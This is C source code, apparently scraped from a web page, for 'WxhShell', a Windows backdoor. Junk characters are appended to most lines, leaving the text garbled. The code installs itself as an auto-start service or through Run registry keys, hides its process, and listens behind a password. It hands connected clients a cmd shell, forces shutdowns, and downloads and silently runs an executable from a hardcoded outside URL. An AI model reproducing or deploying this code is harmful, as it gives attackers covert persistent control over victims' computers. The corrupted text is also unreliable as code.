    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  y7$iOR  
    if(Boot(SHUTDOWN)) 6C-/`>m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m"fNK$_d  
    else { P~G1EK|4  
    closesocket(wsh); Fx $Q;H!.  
    ExitThread(0); f"9q^  
    } @ W^| ?  
    break; }p!HT6 tZ  
    } 3v mjCm  
  // 获取shell )Jk0v_ X  
  case 's': { niqN{  
    CmdShell(wsh); `xywho%/Y  
    closesocket(wsh); &%s8L\?  
    ExitThread(0); '{J&M|<A  
    break; <YOLxR  
  } AjT%]9 V?  
  // 退出 Gu'rUo3Do  
  case 'x': { 1 29q`u;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =9z[[dQ|L  
    CloseIt(wsh); SnFk>`  
    break; Yb /i{@AJ  
    } tX@_fYb  
  // 离开 F8uNL)gKj)  
  case 'q': { kH4Ai3#g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E/09hD Q  
    closesocket(wsh); p8\zG|b5  
    WSACleanup(); PC[c/CoD  
    exit(1); B';6r4I-  
    break; XP1~d>j  
        } >j'ZPwj^  
  } e][B7wZ  
  } /,X[k !  
*3&fqBg  
  // 提示信息 Ty<L8+B|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]6{*^4kX  
} W3;#fa:[L  
  } @EDs~ lPv  
Nof3F/2 N&  
  return; KGWyJ  
} 9(L)&S{4K  
g=]u^&  
// shell模块句柄  k0  
int CmdShell(SOCKET sock) X*,%&6O*  
{ sL@U  
STARTUPINFO si; OzQ -7|m'J  
ZeroMemory(&si,sizeof(si)); ]Lm9^q14m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7yx$N n`(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >A<bBK#  
PROCESS_INFORMATION ProcessInfo; vk?skN@  
char cmdline[]="cmd"; <7n4_RlF!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OI?K/rn  
  return 0; ph_4q@  
} 7yz4'L  
Vm df8[5  
// 自身启动模式 n':!,a[  
int StartFromService(void) .p=sBLp8  
{ *0}3t <5  
typedef struct ^kgBa27  
{ .-IkL |M  
  DWORD ExitStatus; }4{fQ`HT  
  DWORD PebBaseAddress; TD9;kN1`  
  DWORD AffinityMask; Xu>r~^w=S  
  DWORD BasePriority; r)1'ePI"  
  ULONG UniqueProcessId; 3 HIz9F(  
  ULONG InheritedFromUniqueProcessId; Rt{B(L.?<  
}   PROCESS_BASIC_INFORMATION; oh KCdT~  
&E4 0* (C  
PROCNTQSIP NtQueryInformationProcess; 8>.J1C  
?  BE6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6}(J6T46M[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p<&Xd}]"^W  
@0eHS +  
  HANDLE             hProcess; <N`J`J-[  
  PROCESS_BASIC_INFORMATION pbi; #_|sgS?1  
K3' niGT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p?2Y }9  
  if(NULL == hInst ) return 0; d~?X/sJ t  
(s1k$@d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z{ u a=0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sU"}-de  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cwuO[^S}  
Sje wuIi1  
  if (!NtQueryInformationProcess) return 0; 7;tJK^J`  
!bD@aVf?5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >rP#ukr5  
  if(!hProcess) return 0;  X!j{o  
g >'p>}t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v|ck>_" .  
/c$\X<b);  
  CloseHandle(hProcess); $&=p+  
Hi yc#-4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +*n-<x5"  
if(hProcess==NULL) return 0; e.*%K!(  
cDoo*  
HMODULE hMod; $%%os6y2v  
char procName[255]; +e-,ST&w(  
unsigned long cbNeeded; Yyfq  
g!`3{ /4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AWjm~D-?  
?6k}ii!c  
  CloseHandle(hProcess); %"X-&1vV  
%+F"QI1~0  
if(strstr(procName,"services")) return 1; // 以服务启动 ~fa(=.h  
-3&G"hfK  
  return 0; // 注册表启动 M^7MU}5w  
} rFZrYm  
\NG C$p n  
// 主模块 k78Vh$AA6%  
int StartWxhshell(LPSTR lpCmdLine) `Rd m-[&  
{ CAU0)=M  
  SOCKET wsl; 0vGyI>  
BOOL val=TRUE; ;oxAe<VIj  
  int port=0; ^Q{Bq  
  struct sockaddr_in door; H3H_u4_?SE  
/R LI,.%  
  if(wscfg.ws_autoins) Install(); +xXH2b$wWC  
e8EfQ1 Ar  
port=atoi(lpCmdLine); gUAxyV  
v`c$!L5  
if(port<=0) port=wscfg.ws_port; v6GsoQmA   
3^ StIw{X  
  WSADATA data; $3d}"D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PU {uE[  
m))<!3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   id?#TqD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o3Vn<Z$/Cl  
  door.sin_family = AF_INET; FkqQf8HB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /_\#zC[  
  door.sin_port = htons(port); #n  
,WQ^tI=O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =l9T7az  
closesocket(wsl); &W6^6=E{g  
return 1; F=)&98^v$_  
} j+8TlVur  
:+%Zh@u\  
  if(listen(wsl,2) == INVALID_SOCKET) { >az;!7~cD  
closesocket(wsl); B(DrY1ztj  
return 1; [,~TaP}m  
} -/D|]qqHm  
  Wxhshell(wsl); 46h@j>/K  
  WSACleanup(); _Hd{sd#xX1  
MqKye8h9f  
return 0; {S<>&?XB  
8yW oPm<A  
} %>WbmpIyc  
Vh<A2u3&  
// 以NT服务方式启动 1P]de'-`j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J.R AmU<  
{ '(#g1H3  
DWORD   status = 0; S:8OQI  
  DWORD   specificError = 0xfffffff; v8I{XU@%  
gLL\F1|0x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nPkZHIxuD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &*&?0ov^"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q0{z).&\(e  
  serviceStatus.dwWin32ExitCode     = 0; tJ=di5&  
  serviceStatus.dwServiceSpecificExitCode = 0; t/Z:)4Z  
  serviceStatus.dwCheckPoint       = 0; p8+/\Ee]B  
  serviceStatus.dwWaitHint       = 0; ~"!a9GZ  
@-#T5?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3P <'F2o  
  if (hServiceStatusHandle==0) return; [ B0K  
BwJuYH7QJ$  
status = GetLastError(); np WEop>  
  if (status!=NO_ERROR) ]$M<]w,IJ2  
{ cUK\x2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bO<0qM~  
    serviceStatus.dwCheckPoint       = 0; S^cH}-+  
    serviceStatus.dwWaitHint       = 0; 0m+8P$)C%  
    serviceStatus.dwWin32ExitCode     = status; i_F$&?)  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1Xyp/X2rI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); GIv){[i  
    return; K` nJVc  
  } nSY-?&l6P  
?A7Yk4Y.?N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )9P&=  
  serviceStatus.dwCheckPoint       = 0; ~ H[%vdR  
  serviceStatus.dwWaitHint       = 0; ., :uZyG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _1jw=5^P\i  
} cCxi{a1uo  
>]}yXg=QK+  
// 处理NT服务事件,比如:启动、停止 +#]|)V Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "]t>ZT:OJ  
{ IX?ZbtdX$`  
switch(fdwControl) X^< >6|)  
{ 16@);Ot  
case SERVICE_CONTROL_STOP: "A]Y~iQ  
  serviceStatus.dwWin32ExitCode = 0; zfjTQMaxh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (:Cc3  
  serviceStatus.dwCheckPoint   = 0; %^9:%ytt  
  serviceStatus.dwWaitHint     = 0; <]8^J}8T{D  
  { ?An,-N-ezf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [U_[</L7  
  } 0k?Sq#7q  
  return; C>*n9l[M~  
case SERVICE_CONTROL_PAUSE: RI@*O6\/I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; acOJ]]  
  break; Dw |3Z  
case SERVICE_CONTROL_CONTINUE: B#tdLv"I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =s'7$D}0.  
  break; Sue 6+p  
case SERVICE_CONTROL_INTERROGATE: {TL +7kiX/  
  break; Z~3u:[x";  
}; (L|}`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B4O6> '  
} "E>t, D  
p,n\__  
// 标准应用程序主函数 |5 xzl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )o8g=7Jm  
{ " >6&+^BN'  
*?8RXer  
// 获取操作系统版本 )&.!3y 660  
OsIsNt=GetOsVer(); j 0 Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +AK:(r  
/84bv=  
  // 从命令行安装 <pOl[5v]  
  if(strpbrk(lpCmdLine,"iI")) Install(); *fP(6e#G,  
>QI~`MiI  
  // 下载执行文件 .v,bXU$@YG  
if(wscfg.ws_downexe) { 6s,2NeVWa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >%c*Xe  
  WinExec(wscfg.ws_filenam,SW_HIDE); b|ZLX:  
} G+yL;G/  
lA{(8sKN  
if(!OsIsNt) { 8X~h?^Vz  
// 如果时win9x,隐藏进程并且设置为注册表启动 / Dw@d,&[  
HideProc(); `{G?>z Fp  
StartWxhshell(lpCmdLine); 8D2yR#3  
} wZv-b*4  
else n+quSF)  
  if(StartFromService()) ,#aS/+;[)  
  // 以服务方式启动 6+ 8mV8{-8  
  StartServiceCtrlDispatcher(DispatchTable); \/,g VT  
else BPWnck=%  
  // 普通方式启动 Z}[xQ5  
  StartWxhshell(lpCmdLine); ZT9IMihV  
Qcgu`]7}  
return 0; Wy(pLBmb  
} 6_U |(f  
n{=7 yK  
2 `5=0E1k  
n4>cERf a  
=========================================== h]P/KVqR.  
lf8xL9v  
WW3  B  
cqk]NL`'  
ja75c~RUw  
8&T,LNZoY  
" kr{)  
M;qb7Mu  
#include <stdio.h> x(vai1CrdH  
#include <string.h> tE:X,Lt[  
#include <windows.h> vpafru4  
#include <winsock2.h> WFj*nS^~l  
#include <winsvc.h> DoG%T(M!a9  
#include <urlmon.h> .M+v?A d  
&Y=.D:z<  
#pragma comment (lib, "Ws2_32.lib") 3`rIV*&_{  
#pragma comment (lib, "urlmon.lib") eKJ:?Lxv;  
M,JA;a, _  
#define MAX_USER   100 // 最大客户端连接数 &gWiu9WbS  
#define BUF_SOCK   200 // sock buffer <N5rv3 s  
#define KEY_BUFF   255 // 输入 buffer hBoP=X.~  
&GU@8  
#define REBOOT     0   // 重启 /p}{#DLB  
#define SHUTDOWN   1   // 关机 *]'qLL7d  
F(E<,l2[  
#define DEF_PORT   5000 // 监听端口 b=_{/F*b?  
:p&IX"Hh  
#define REG_LEN     16   // 注册表键长度 <c\]Ct  
#define SVC_LEN     80   // NT服务名长度 NGj"ByVjx  
[Gf{f\O  
// 从dll定义API fwH`}<o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?k::tNv0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e2Ww0IK!E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (s Jq;Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O8$~*NFJf  
YJc%h@_=]  
// wxhshell配置信息 '&)D>@g  
struct WSCFG { QnP{$rT  
  int ws_port;         // 监听端口 I)rGOda{  
  char ws_passstr[REG_LEN]; // 口令 3XGB+$]C  
  int ws_autoins;       // 安装标记, 1=yes 0=no r!~(R+,c  
  char ws_regname[REG_LEN]; // 注册表键名 u&tFb]1@)  
  char ws_svcname[REG_LEN]; // 服务名 +:!ScG*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~xE=mg4le  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 N)P((>S;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a! ?.F_T9A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5=m3J !?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T aEt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k}-]W@UCa?  
]xI?,('_m  
}; PC[cHgSYU  
gjQ=8&i  
// default Wxhshell configuration []r T? -  
struct WSCFG wscfg={DEF_PORT, ru DP529;  
    "xuhuanlingzhe", 9,w}Xe=C  
    1, H):-! ?:  
    "Wxhshell", 1N>6rN  
    "Wxhshell", `LE^:a:8,  
            "WxhShell Service", s{cKBau  
    "Wrsky Windows CmdShell Service", ;*.(.  
    "Please Input Your Password: ", w'|&5cS  
  1, +!Q!m 3/I  
  "http://www.wrsky.com/wxhshell.exe", |&Au6 3  
  "Wxhshell.exe" ^IYJEqK  
    }; q`cEA<~S  
.E#<fz  
// 消息定义模块 ;hkro$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zdqnL^wb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N:OD0m%`)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k3C"  
char *msg_ws_ext="\n\rExit."; Pf{`/UlD  
char *msg_ws_end="\n\rQuit."; u\:rY)V  
char *msg_ws_boot="\n\rReboot..."; @c0n2 Xcr  
char *msg_ws_poff="\n\rShutdown..."; (lieiye^  
char *msg_ws_down="\n\rSave to "; mZ~mf->%  
2|$lk8/,  
char *msg_ws_err="\n\rErr!"; ,zG<7~m  
char *msg_ws_ok="\n\rOK!"; 8znj~7}#  
z2.*#xTZn  
char ExeFile[MAX_PATH]; `(!W s\:  
int nUser = 0; O1|B3M[P  
HANDLE handles[MAX_USER]; ot]>}[  
int OsIsNt; x3gwG)Sf  
\ibCR~W4  
SERVICE_STATUS       serviceStatus; 32s5-.{c/f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZU)BJ!L,s  
v3?kFd7%H~  
// 函数声明 hTDV!B-_(  
int Install(void); m**0rpA  
int Uninstall(void); gH5CB%)  
int DownloadFile(char *sURL, SOCKET wsh); vJ~4D*(]l  
int Boot(int flag); s c5\( b  
void HideProc(void); tSI& "-   
int GetOsVer(void); v'h3CaA9j  
int Wxhshell(SOCKET wsl); 7Nd*,DV_  
void TalkWithClient(void *cs); T=^jCH &  
int CmdShell(SOCKET sock); c]e`m6  
int StartFromService(void); vlAO z  
int StartWxhshell(LPSTR lpCmdLine); 4}+xeGA$  
zjea4>!A2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E!dz/.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )\0Ug7]?  
^WmGo]<B_  
// 数据结构和表定义 \5t`p67Ve_  
SERVICE_TABLE_ENTRY DispatchTable[] = ESn6D@"  
{ p(~Y" H  
{wscfg.ws_svcname, NTServiceMain}, yI3Q|731)  
{NULL, NULL} JL?Cnk$!  
}; 45?*:)l:  
||yXp2  
// 自我安装 .4H_Zt[2  
int Install(void) f3/SO+Me}  
{ &t~zD4u B  
  char svExeFile[MAX_PATH]; <9ePi9D(  
  HKEY key; h U 9\y  
  strcpy(svExeFile,ExeFile); N 9c8c  
:a#F  
// 如果是win9x系统,修改注册表设为自启动 2T//%ys=  
if(!OsIsNt) {  AQB1gzE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?@3#c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /&*m1EN#o  
  RegCloseKey(key); v&p,Clt-2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kw 6cFz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j#7wyi5q  
  RegCloseKey(key); }A^ 1q5  
  return 0; 7fap*  
    } c9\B[@-q  
  } os}b?I*K  
} y T[Lzv#  
else { J"/ JRn  
5dg-d\ 6S  
// 如果是NT以上系统,安装为系统服务 UN-T ^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \R6;Fef  
if (schSCManager!=0) E}]I%fi  
{ F5<"ktnI  
  SC_HANDLE schService = CreateService BO?mQu~  
  ( - P\S>G.  
  schSCManager, 8FB\0LA!g  
  wscfg.ws_svcname, nw~/~eM5=  
  wscfg.ws_svcdisp, ;%BhhmR)[  
  SERVICE_ALL_ACCESS, ~!8%_J_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n^* >a  
  SERVICE_AUTO_START, @*CAn(@#N  
  SERVICE_ERROR_NORMAL, ;[;)P tFz\  
  svExeFile, LN@lrC7X  
  NULL, C$$"{FfgU"  
  NULL, l5{(z;xM  
  NULL, -@YVe:$%b  
  NULL, V<7R_}^_7  
  NULL zj~8>QnKk  
  ); Zx}N Fcn  
  if (schService!=0) Gojl0?  
  { x?%rx}h  
  CloseServiceHandle(schService); rF Ko E%  
  CloseServiceHandle(schSCManager); B@ZqJw9J[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @o}1n?w  
  strcat(svExeFile,wscfg.ws_svcname); -s9Y(>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1 ;cv-W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r{pI-$  
  RegCloseKey(key); UiJ^~rn  
  return 0; *Gg1h@&  
    } di-O*ug  
  } Aivu%}_|  
  CloseServiceHandle(schSCManager); _ff=B  
} DCEvr"(  
} GCcwEl!K^  
e#l*/G*,  
return 1; g0^~J2sDd  
} @?<N +qdH>  
mA&RN"+V  
// 自我卸载 0MwG}|RC  
int Uninstall(void) 1$:{{%  
{ =?meO0]y  
  HKEY key; j#*asGdp#J  
9F2P(aS  
if(!OsIsNt) { }u(d'9u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PWf{aHsr  
  RegDeleteValue(key,wscfg.ws_regname); 2x)0?N[$O  
  RegCloseKey(key); ,H.(\p_N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PY^^^01P  
  RegDeleteValue(key,wscfg.ws_regname); 8C*6Fjb#  
  RegCloseKey(key); Ft3N#!ubl  
  return 0; i1b4 J  
  } 3R)cbwL  
} uvu**s  
} (P E# Y(  
else { Z:\;R{D  
?;0nJf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bxn 8><  
if (schSCManager!=0) pr0@sri@  
{ c[wQJc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OoAr%  
  if (schService!=0) jOoIF/So  
  { "| .  +L  
  if(DeleteService(schService)!=0) { 8\qCj.>S  
  CloseServiceHandle(schService); &[?u1qQ%o  
  CloseServiceHandle(schSCManager); 7h9fQ&y  
  return 0; v$gMLu=  
  } c8k6(#\  
  CloseServiceHandle(schService); cCo07R  
  } ,cGwtt(  
  CloseServiceHandle(schSCManager); ,Az`6PW  
} Rxvd+8FF  
} Ft%TnEp  
T+AlcOP  
return 1; 4i+PiD:H  
} % +kT  
37:b D  
// 从指定url下载文件 .LXh]I *  
int DownloadFile(char *sURL, SOCKET wsh) %{N$1ht^  
{ ch5`fm  
  HRESULT hr; H6%!v1 u  
char seps[]= "/"; R,d70w (_  
char *token; .oi}SG  
char *file; T3u5al  
char myURL[MAX_PATH]; j61BP8E  
char myFILE[MAX_PATH]; M `9orq<  
>D`fp  
strcpy(myURL,sURL); "Cyo<|  
  token=strtok(myURL,seps); v@$evmA  
  while(token!=NULL) 'f=)pc#&g  
  { Ckl7rpY+  
    file=token; 0@sr NuW  
  token=strtok(NULL,seps); V7B=+(xK  
  } fG8}=xH_&  
#.\,y>`  
GetCurrentDirectory(MAX_PATH,myFILE); [p( #WM:  
strcat(myFILE, "\\"); AhbT/  
strcat(myFILE, file); ADLa.{  
  send(wsh,myFILE,strlen(myFILE),0); c:?#zX  
send(wsh,"...",3,0); %vf2||a$BS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v GR \GFm  
  if(hr==S_OK) 6mI_Q2  
return 0; wZ]BY;  
else .gM>FUH3L  
return 1; e_>rJWI}  
o-Q]Dk1W  
} lJ2|jFY9  
xu%! b0  
// 系统电源模块 [}9XHhY1O=  
int Boot(int flag) +2;#9aa I  
{ YmO"EWb  
  HANDLE hToken; 7U{b+=,wK  
  TOKEN_PRIVILEGES tkp; i">z8?qF  
G!e}j @@  
  if(OsIsNt) { u'$yYzBE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }QWTPRn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RKo P6LGw  
    tkp.PrivilegeCount = 1; T}w*K[z $  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AjL?Qh4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); LRCS)UBY(.  
if(flag==REBOOT) { zgq_0w~X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "x:)$@  
  return 0; o/  x5  
} wQdW lon  
else { ~x0-iBF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U>L=.\\|  
  return 0; Zeme`/aBb  
} PBAz` y2  
  } G>q{~HE1  
  else { 7G>0,'XC  
if(flag==REBOOT) { `G ;Lz^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -h G 9  
  return 0; F)E7(Un`8  
} 0'q(XB`i=  
else { H%01&u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S0Bl?XsD_  
  return 0; _ntW}})K  
} I(?|Ox9"?  
} ziLr }/tg  
pzt Zb  
return 1; px [1#*  
} 5QL9 w3L  
5&rCNi*\  
// win9x进程隐藏模块 YzhN|!;!k  
void HideProc(void) @KW+?maW  
{ ?9('o\N:  
/K1$_   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l9ifUh e  
  if ( hKernel != NULL ) ,syA()  
  { :d% -,v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M[ ~2,M&H  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); . ~A"Wyu\  
    FreeLibrary(hKernel); RZV1:hNN  
  } k9_VhR|!  
)HzITsFZKT  
return; ek{PA!9Sk  
} LG&Q>pt.  
hyvV%z Z  
// 获取操作系统版本 E9Xk8w'+  
int GetOsVer(void) 5cNzG4z  
{ qh(-shZ4Du  
  OSVERSIONINFO winfo; UwL"%0u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %B {D  
  GetVersionEx(&winfo); ]!tYrSM!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y9G57D  
  return 1; Cj4b]*Q,  
  else 7ck0S+N'b  
  return 0;  +s R *d  
} o wpJ7S1~  
#`vGg9  
// 客户端句柄模块 ILr6W@o5A  
int Wxhshell(SOCKET wsl) ^pQ;0[9Y0  
{ d"d)<f   
  SOCKET wsh; %\{?(baOA  
  struct sockaddr_in client; Eps\iykB  
  DWORD myID; tFST.yT>zg  
li_pM!dWU_  
  while(nUser<MAX_USER) [>J~M!yu:r  
{ {ZsWZJ!  
  int nSize=sizeof(client); 8F\Msx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?;KJ (@Va  
  if(wsh==INVALID_SOCKET) return 1; 3Ibt'$dK  
_[OEE<(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZvnZ}t >?  
if(handles[nUser]==0) 1M~:]}*<  
  closesocket(wsh); %`\3V {2*  
else ;DgX"Uzm  
  nUser++; 9CU6o:'fW  
  } )V$!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }rMpp[  
G4exk5  
  return 0; Znl>*e/|  
} XF f+efh  
iJaNP%N  
// 关闭 socket %}]4Nsde  
void CloseIt(SOCKET wsh) ^SSOh#  
{ CTbhwY(/  
closesocket(wsh); Tk#&Ux{ZJ  
nUser--; 1-]x  
ExitThread(0); L^al1T  
} H'h4@S  
=3v 1]7 X  
// 客户端请求句柄 UVBw;V  
void TalkWithClient(void *cs) >/HU'  
{ /glnJ3   
U`nS` p  
  SOCKET wsh=(SOCKET)cs; |e-+xX|;  
  char pwd[SVC_LEN]; <# x%A0  
  char cmd[KEY_BUFF]; uuK]<h*  
char chr[1]; d>"$^${  
int i,j; X @jYQ.  
K^qUlyv  
  while (nUser < MAX_USER) { Oi%~8J>  
@~U6=(+  
if(wscfg.ws_passstr) { ]Y: W[p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % K7EF_%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }Keon.N?   
  //ZeroMemory(pwd,KEY_BUFF); >RqT7n8h  
      i=0; y:[VRLo  
  while(i<SVC_LEN) { e}O-I  
nIqY}??  
  // 设置超时 ttq< )4  
  fd_set FdRead; -^xKG'uth  
  struct timeval TimeOut; J!fc)h  
  FD_ZERO(&FdRead); =#")G1A  
  FD_SET(wsh,&FdRead); 19-yM`O  
  TimeOut.tv_sec=8; Y <i}"eI*  
  TimeOut.tv_usec=0; *DI:MBJY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }!7DF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k$x 'v#  
8 8 =c3^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E0B2>V  
  pwd=chr[0]; rB&j"p}Q  
  if(chr[0]==0xd || chr[0]==0xa) { dpn&)?f  
  pwd=0; }}bi#G:R+  
  break; GxBPEIim  
  } w@$o  
  i++; *rFbehfH  
    } )%@WoBRj  
A8Z?[,Mq!  
  // 如果是非法用户,关闭 socket *2C79hi1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {f-/,g~  
} % m5^p  
jc~*#\N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,lS-;.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -5_xI)i  
2gR_1*|  
while(1) { ~rJw$v  
otH[?c?BT  
  ZeroMemory(cmd,KEY_BUFF); M j%|'dZz  
1z@# 8_@  
      // 自动支持客户端 telnet标准   U1!2nJ]  
  j=0; 7 8inh%  
  while(j<KEY_BUFF) { eh7r'DmAR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nMdN$E  
  cmd[j]=chr[0]; ^5 =E`q".  
  if(chr[0]==0xa || chr[0]==0xd) { $JSC+o(q3#  
  cmd[j]=0;  D6!+  
  break; _3G)S+ 7#  
  } +X(^Q@  
  j++; 3pjYY$'  
    } Jas|P}{=fT  
4N=Ie}_`  
  // 下载文件 >rS<!e%  
  if(strstr(cmd,"http://")) { QT l._j@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #5:A?aj  
  if(DownloadFile(cmd,wsh)) n*4X/K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;)pV[3[  
  else 4bi\$   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); } 9s  
  } ;Y&?ixx  
  else { $AhX@|?z  
